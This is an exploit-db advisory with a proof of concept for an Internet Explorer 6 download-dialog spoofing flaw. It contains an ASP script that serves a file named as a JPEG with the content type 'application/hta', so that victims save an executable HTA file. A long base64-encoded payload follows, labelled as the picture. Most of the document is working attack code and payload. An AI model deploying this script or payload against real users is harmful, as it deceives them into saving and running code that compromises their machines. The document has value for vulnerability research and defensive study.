exploit-db-mirror/platforms/windows/remote/29511.txt
Offensive Security fffbf04102 Updated
2013-12-03 19:44:07 +00:00

420 lines
No EOL
27 KiB
Text
Executable file

-Introduction-
Microsoft Internet Explorer is the default webbrowser on Windows
operating systems.
Vendor link: http://www.microsoft.com
IE link: http://windows.microsoft.com/en-us/internet-explorer/browser-ie
Vulnerable version: Internet Explorer 6 on Windows XP SP3 and Windows
Server 2003 (on Win 2003 it only works without the enhanced IE mode)
and also below OS versions (not supported by Microsoft anymore) like
Windows 2000, 98, ME.
Author/Discoverer: Eduardo Prado http://secumania.info Security Group
- The vulnerability-
IE 6 contains a vulnerability that allows malicious users to spoof the
file extension presented in the file download dialog.
The file download dialog presents only the "Save" button to the user.
When the file is saved to disk an unsafe extension
such as ".HTA" is appended to the file. HTA fIles allows execution of
arbitrary code in the system.
See the proof of concept for demonstration.
Successfully tested on IE 6 on a fully patched Windows XP SP3.
=========================PIC-download.asp========================================================
<%
'--------------------------------------------
Response.Buffer = True
Dim strFilePath, strFileSize, strFileName
Const adTypeBinary = 1
strFilePath = "C:\webroot\PICTURE YOU WILL FIND SO AMAZING4. JPG "
strFileName = "PICTURE YOU WILL FIND SO AMAZING4. JPG "
strFileSize = 5000
Response.Clear
'8*******************************8
' Requires MDAC 2.5 to be stable
' I recommend MDAC 2.6 or 2.7
'8*******************************8
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open
objStream.Type = adTypeBinary
objStream.LoadFromFile strFilePath
strFileType = lcase(Right(strFileName, 4))
' Feel Free to Add Your Own Content-Types Here
Select Case strFileType
Case ". JPEG "
ContentType = "application/hta"
Case Else
'Handle All Other Files
ContentType = "application/hta"
End Select
Response.AddHeader "X-Download-Options", "noopen"
Response.AddHeader "Content-Disposition", "attachment; filename=" &
strFileName
'Response.AddHeader "Content-Length", strFileSize
' In a Perfect World, Your Client would also have UTF-8 as the default
' In Their Browser
Response.Charset = "UTF-8"
'for only displaying the "Save" button in the file download prompt. use
"nosave" to only display the "open" button.
Response.ContentType = ContentType
Response.BinaryWrite objStream.Read
Response.Flush
objStream.Close
Set objStream = Nothing
%>
==========eof====================================================================================
===========================PICTURE YOU WILL FIND SO AMAZING.JPEG (Base64
encoded)===================
P18DAIUDAAD/////NkQAAHUDAABsAwAAAAAlXFwsLjo6LwBhQWNlc3NvYQEFQGx1aWFkZXEAdWFk
YWFkaWNAaW9uYWlzCVByEGFmZXQZAHNBasJ1HwBwbGljDSAIICJyDyDhdmUvAHByEG9wcmkvAHJx
dUBpdm9hc2FiAGMBWQBhYXRyaWJ1FGlyBzDtSwBhdHUAYWxhdWRpdG8hMgBjYWl4BDBzYwBhbmNl
bGFuZABvY2VydGlmaQBxdWUtc2VjaCRtY28gQ2wREGNvEm0CAHB1lwBvcmMAb25maWd1cmEQ5/Vl
cwwAc3VsCHRlZAEAZmluaWW3AGQVAHJpHBAJAGUGaukABRByRGVzbfxhcssAB1ApIBIgfQAVUB5y
HjCFAEYAVhB0YWwCaCsgaeFsb2dvEGRvZWXFAGFyZQElAWl2YXNlbWWYbnRySQEGQHNFB0ABmxBs
aGVyRXNwZGVj2ABjYYIBAxBlQ1gQXABpdmVyYwDjAG9FWEUnZXhp4GJpcmV4bhFeAFQQAc8AbGhv
Z3J1cEEEMHNoZWxwUABhaG7nYVcAZL0BBkBzCkgOEHIUIHLhaHQAbSdpZOpudGkgY29zSW7tAe0t
YGxhc2lu6gHXEWkgbmZvcm09IUxpgnPfAG9jYWxtAQIBADFNUy1JVFNuAGFuZWdhcm7jgG9vb2Jq
ZXQFQEBzb2J0ZXIGAHUwcGFpUA4SEhJlcsBtaXNz428IQJYBhlAJYBwgdGlycGIBUFByb2O3AXI5
MmWgdOFyaW+FAmzzATJyv0Fycg0CWCFzYRhnX1P5AR8CcHRziFVuT4YAY3RT0gGYc2VsUQG0AmRv
CmACchQQ5+Nvc2lnzm5sIakAXQFvbQUAzBIJCGBzedYBbXJvbwJ0sAB1bXVtYXVMc3WIEAZAc1UH
QFaQb2PqdgMA6ni0AoAoYCksYDE6TwNwYW9hb/sCDDP4AkH4c0F2kRHAAk4DtAKuMhxvQwMAqQJJ
I2RldrhlRUYxAv4CVQJh7CGBYQNmYXplcmbsAiEaIGFmb2mZAWVtJGhhGQJISFIBb2x3oBGuQrVS
TZ4ipDJ8Am8Mc23ZAsIDc29uZKBlcGFkcogBYdcBGnBXA1DYAnkRbXBvs6UD5QNRdWsTEwFssgBA
YVJlbW92JCNtIcgCc2Vy4QMA428AdGVuaGFtdGUAcnRpcG90b2QAb3N2ZXLg6S8EAAAmBAAABDsp
AgQABHo0AAAAAAAAAAAAAAAAAAAAAAAAAAD//wEAAQAPAAAATgMPAP////98Q0YwALlDAAB8Q0Yx
ANJDAAB8Q0YyAOtDAAB8Q0Y0AAREAAB8Q0Y1AB1EAAB8Q09OVEVYVAAsKwAAfENUWE9NQVAA0iEA
AHxGT05UAEohAAB8UGV0cmEAWzMAAHxQaHJJbWFnZQAQAAAAfFBockluZGV4ALQHAAB8U1lTVEVN
AFUIAAB8VE9QSUMAzgsAAHxUVExCVFJFRQD9IgAAfFRvcGljSWQAijsAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
AFANAAAkAQAAAI8BAAD7CwAAAFANAACEAEAAACDWgB/tx8gOUTT6NPo0OnVkaXTHZYU0WhcgaW5n
0/lZRb8lFf8SXaVFDFz1XOUuMlU/W/VbtShAswXwRMgpAQ+RnQuMByMpJQci1AwEASnbiTEAAAAA
AAAAACwMAACBAA0AADEAAAACAKcAAAD/////AP////8PAAAAAP////+BDQAAAPcNAAB2AAAAALgA
AABQDQAAAPcNAAAuAAAArfIEcez38vQu8kTA7PQD7PTspDEAAAAAAAAAAIENAAAoDgAAADEAAAAC
iwAAAAD//////wD///8QAAAA/wD///8oDgAAggAOAABaAAAAcgAAAAD3DQAAgoAOAAAtAAAAmQWW
5JL4PF1wrwwBELYNBdMd9E0tATsHAR+IBw9u2xwPB1p0OgAxAAAAAAAAAAAoDgAAsw4AAAAxAAAA
Am4AAAAA/////////wD/EQAAAP///wD/sw4AAPAOAAAAPQAAADkAAAAAgg4AAPAOAKAAJwAAAHUO
cnTeHnIqagUcKAq1HTEAAAAAAAAAALMOAAAAIQ8AADEAAAAAAr4BAAD//wD///////8SAAAAAP//
//8hDwAAAK4QAADqAAAAAPsBAADwDgAAAAsQAAA1AMAAACA4gPcovdBM/3n8efx5/HkMdYxcXJEM
UVzDbQ6L7GoHATyLHPoaYmRCCGoHNEgIJh9eVWgPVM55klYPvC5oHgNbDiUHBAeaBwEmgWwIggdI
BwEJliwAowAAAFwAAAAAIQ8AAK4QAAAAhAAAACDYgLj/zK+y/RH+sv2y/bL9dj85/QE5nTEAAAAA
AAAAAAsQAADfEAAAADEAAAACmwAAAAD///////8A//8TAAAA//8A///fEAAASREAAABqAAAAewAA
AACuEAAASRHAAAAtAAAAUAjLtbcvbrUZZCYIiQysAuIdKCQHaBc3ATmvB7QHoCtmaWxoJwwelgAw
K+FydgIMoBExAAAAAAAAAADfEAAAAHoRAAAxAAAAAAKHAAAA/wD/////////FAAAAAD/////egAR
AADQEQAAVgAAAABlAAAASQARAADQEQAALegAAADrCMqa8FHzUfMDDghbLjEAAAAAAAAAAHoRAAAB
EgAAADEAAAAC6gAAAAD//////wD///8VAAAA/wD///8BEgAAugASAAC5AAAAawABAADQEQAAuoAS
AAA0AAAAqQdW18W4u81QWA8yJi/SoAd8BwEh/gYKk0U0kAITIJzhGiIw6gJUB66nDVJCESSNLwHe
GNJaqxJzf6uiLqtSUB8BrvIAMQAAAAAAAAAAARIAAOsSAAAAMQAAAAJ2AAAAAP//////AP///xYA
AAD/AP///+sSAAAwABMAAEUAAAA7AAAAALoSAAAwgBMAACcAAABFDx52N/R6HngO7SFwYXMWc3kO
rwsuhxMxAAAAAAAAAADrEgAAAGETAAAxAAAAAAIVAgAA//8A////////FwAAAAD/////YRMAAABF
FQAARwEAAABNAgAAMBMAAACoFAAAOwDUAAAiD5ubvIAxLwUwYUWUuAcjdMYJzTfAD/oY6i4ECbsN
M2FjZURzc7IOPgf+hxYzFwYAMQErCgoSEA8H5NfxCrQeKEB1Fg+yLBAhIPcuECIwhB0rORghAFMw
SAyJKhATbZMPrgczFg8Qc3XtYdEsU25lkXUQ4XJpEy8BHqUsb5z0nPTwYZz0B/ChnPQAAACdAAAA
QQAAAABhEwAARRUAoACEAAAAnASCeqjoyFMAnPRTnPSc9Jz0D5z0nDQHWJaUMQAAAAAAAAAAqBQA
AAB2FQAAMQAAAAACiwAAAP///wD//////xgAAAAA/////3YVAAAA0BUAAFoAAAAAbwAAAEUVAAAA
0BUAAC0AAPoA5wzelvSWxGsKlvSWJAiEBx4nFjEAAAAAAAAAAHYVAAAAARYAADEAAAAAAuQAAAD/
//8A//////8ZAAAAAP////8BFgAAALQWAACzAAAAAGQBAADQFQAAALQWAAAuAAAaAHINyf/z+UMj
dG/+ZPoBAPS0Bvzz/PP886j2A6j2qJYxAAAAAAAAAAABFgAA5RYAAAAxAAAAAqwAAAAA//////8A
////GgAAAP8A////5RYAAFIAQAAAewAAAJ4AAAAAtBYAAFKAQAAAKAAAAEYLhj2tJzLYzgcsB5oI
AATlFgAAUkAAALQWAAAABwNPB84HE3QAZW0HO2NvbnQAcm9sZQcjdG8AdGFsB+YHJAcAbAdGB8IC
B4NAaW5kZXBlBABuAyoABBAHAREHxAcAYAeyEy4AADEAAAAAAAAAAOUAFgAAg0AAADEAAAAAAjcB
AAAA//////////8AGwAAAP////8Ag0AAAIlBAAAABgEAAPQAAAAAUkAAAIlBAAAAgwAAACDUgOkA
AQCAAAA6AJAIUpiaCACCyFAAAEVGKGBISC5FAFhFJyxgTVMtAElUUzolc3lzAbEAcm9vdCVcXABo
ZWxwXFxhYwBsdWkuY2htOgA6L3NhZ19TZQHOAGNlcHRzVW4AT3duLmh0bSdALDEpAImAYyCCAP8P
oAe4B/YHANIHASwH3AcgAAdaB7IEBxtFAHN0YQcBHwcjIGV4aWJlIQCIBwZiJ+ASAAgHARAHAj4G
ANAH/AcTZgBlegcjbG9nbwBuBwEOB/AHKwBtZW1icm8LLgAAvge2B6QHngACB0QHDyNQbwBzc2UP
B6oHDwgYGwA2ATEAAAAAAAAAAINAAAAAukEAADEAAAAAAq0AAAD///8A//////8cAAAAAP////+6
QQAAADZCAAB8AAAAAHwAAACJQQAAADZCAAAnAAAgACAegPg1sf8PCnLRALDXAQESBxMAc2VyB1Nz
dWIAc3RpdHXtZG+gB2gHATn6ALTYAAJzFwAtcmVjaXAiadgRcwcr4BFybyXXAUsWcAfe4xExAAAA
AAAAAAC6QQAAAGdCAAAxAAAAAAJ/AAAA/wD/////////HQAAAAD/////ZwBCAAC1QgAATgAAAABk
AAAANgBCAAC1QgAAJygAAACsAMis8LAHCPQHurAAhgcBBgNQAXUyLgfuByoHCMAHeGIyMQAAAAAA
AAAAZ0IAAADmQgAAMQAAAAACewAAAP///wD//////x4AAAAA/////+ZCAAAAMEMAAEoAAAAAWQAA
ALVCAAAAMEMAACcAAFoAKwGyfvB+4MR6sDEAAAAAAAAAAOYAQgAAYUMAADEAAAAAAoIAAAAA////
//////8AHwAAAP////8AYUMAALJDAAAAUQAAAF8AAAAAMEMAALJDAABQJwAAAKYBvqbRI7ZFZCL+
AAL9IAMRQPIAorBVIkwHgGEDZl8TADEAAAAAAAAAAGFDAADjQwAAADEAAAACuwAAAAD/////////
AP8gAAAA////AP/jQwAAbUQAAACKAAAA2AAAAACyQwAAbUQAAAA3AAAAIDyAurFfkwRrEw0zE2M8
cAEO4I+BizAREWYHATUoBwEW0gLa8QJOB1YU5gK2ADYfBDpSAg9EzA8oA0YHphkDMCEzBOIHD/jj
IjEAAAAAAAAAAONDAAAAnkQAADEAAAAAAsMBAAD/AP////////8hAAAAAP////+eAEQAADBGAACS
AAEAANEBAABtAEQAADBGAACNAAAAACDogKMDcxq0xkPIUyH0IfQh9GFBIcRiamVjdCT0D6rG+ADu
EiJgpRFgpSEWYKUhmAICAgQbYmEAc2UHE25vcwdUM232I3MmIGJoA8QAB0tleHBs7WNQaXRhc0gE
kBEEARAPBwEeIQRvc3QEcmFhBZ4HS2NhQGxjdWxhZCMACAAHK3BhcnRpcrV3BWw9EGnpBJoTAq0E
gZMDc3VsdGFkawDg7gdbYXAPAJAFDyARdwQzc2+aNTNsZQPrA10AYgeuBwE8AAdDcGVybWl0qmn8
A6ZoA1bXBTKjMa3eABOJBKUUSqcEXPMFCsSrJMamhDEAAAAAAAAAAJ5EAAAA/////zEAAAAAAhgA
AAD///8A//////8iAAAAAP////////8A//////+IAAAAfwAAAAACAAUACABIAFRpbWVzIE5ldyBS
b21hbgAAAAAAAAAAAAAAAAAAAAAATVMgU2FucyBTZXJpZgAAAAAAAAAAAAAAAAAAAAAAAAAAEAMB
AAEBAAEBAAEQAwEAAQEAAQEAARADAQAAAAABAQACEAMBAAEBAAEBAAAQAwEAAAAAAQEAKwEAACIB
AAAAJACpDwAAURcAAKEPAADUgQAA6QMAAK0AAADqAwAACAEAAOwDAACEAQAA7QMAAC0DAADvAwAA
tgYAAOgDAAAAAAAA2AcAAOUIAADRBwAAzwMAANIHAABwBQAA0wcAAAgBAADUBwAAUAYAANYHAAC2
BgAAuQsAAKAJAAC6CwAAygoAALsLAACZCwAAvAsAABQMAAC+CwAAhQwAAKIPAAA+DwAAow8AAM4R
AACkDwAAdw8AAKAPAADMDgAAcxcAAGSDAAAGEAAAGRQAAAcQAADiFgAACBAAAFQUAAAEEAAASRIA
AAUQAABwgQAAihMAAACAAACMEwAA9IAAAHIXAACMggAAcRcAAC2CAADACwAAFA4AAIkTAAC1GAAA
DRAAAK4SAAAvCAAAJggAAAA7KQIAAAhMegAAAAAAAAAAAAAAAAAAAAAAAAAA//8BAAEAIwAAAEkH
IwD/////AAAAAACtAAAAAAgBAAAAhAEAAAAtAwAAAM8DAAAAcAUAAABQBgAAALYGAAAA5QgAAACg
CQAAAMoKAAAAmQsAAAAUDAAAAIUMAAAAFA4AAADMDgAAAD4PAAAAdw8AAADOEQAAAEkSAAAArhIA
AAAZFAAAAFQUAAAA4hYAAABRFwAAALUYAAAAAIAAAAD0gAAAAHCBAAAA1IEAAAAtggAAAIyCAAAA
ZIMAAAA1hQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
